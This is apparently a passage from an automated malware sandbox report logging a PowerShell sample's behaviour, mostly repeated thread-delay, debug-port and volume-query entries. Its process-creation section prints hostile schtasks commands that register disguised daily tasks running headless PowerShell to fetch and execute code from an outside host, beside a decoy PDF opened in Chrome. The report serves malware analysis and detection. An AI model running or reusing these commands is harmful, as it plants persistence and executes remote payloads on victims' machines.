Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590770	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590645	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590360	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590250	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590125	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590016	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589903	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589797	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589682	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589576	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589468	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589361	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589234	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589120	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589015	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588891	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588781	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588672	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588548	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588422	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588312	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588203	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588094	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587984	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587875	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587756	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587599	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587464	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587279	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587151	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587030	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590938
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590770
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590610
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590360
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590235
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590110
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589983
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589875
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589757
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589641
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589515
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589404
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589293
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589184
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589077
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588969
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588859
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588749
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588639
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588531
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588413
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588297
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588188
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588063
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587938
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587813
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587688
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587551
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587405
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587279
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587151
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587030
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591125
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590923
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590770
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590609
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590360
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590248
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590125
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590015
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589905
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589797
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589677
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589552
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589420
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589310
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589203
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589077
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588968
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588859
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588749
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588639
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588531
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588413
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588312
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588203
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588094
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587984
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587875
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587756
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587598
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587464
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587279
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587151
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 587020
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 00000004.00000002.3381284374.0000022298E57000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000004.00000002.3381213896.0000022298E43000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWindows\System32\rasadhlp.dll
Source: svchost.exe, 00000004.00000002.3379757750.000002229382B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000016.00000002.2664465867.000002335C729000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2665844721.000001CCC7054000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2508079419.000001F320B9C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 0000000B.00000002.2354518966.0000019FECE08000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll22

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://mora.gov.pk/SiteImage/Misc/files/HajjForm2024.pdf	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn CleanerRes /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 09:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn DriversUpdate /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 11:00 /f
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\system32\schtasks.exe" /create /tn ZGraphics /tr "conhost.exe --headless powershell.exe -c irm http://drive.desktopserver.top/file/\| Powershell" /sc daily /st 14:00 /f

Source: powershell.exe, 00000016.00000002.2664465867.000002335C73B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ProgmanUI.Core.CoreWindow
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD4CC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344820000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF050000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD4CC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344820000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF050000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Progman
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD4CC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344820000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF050000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd2
Source: powershell.exe, 0000000B.00000002.2318160174.0000019FD4CC0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000016.00000002.2485510234.0000023344820000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000017.00000002.2478859438.000001CCAF050000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Progman2

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
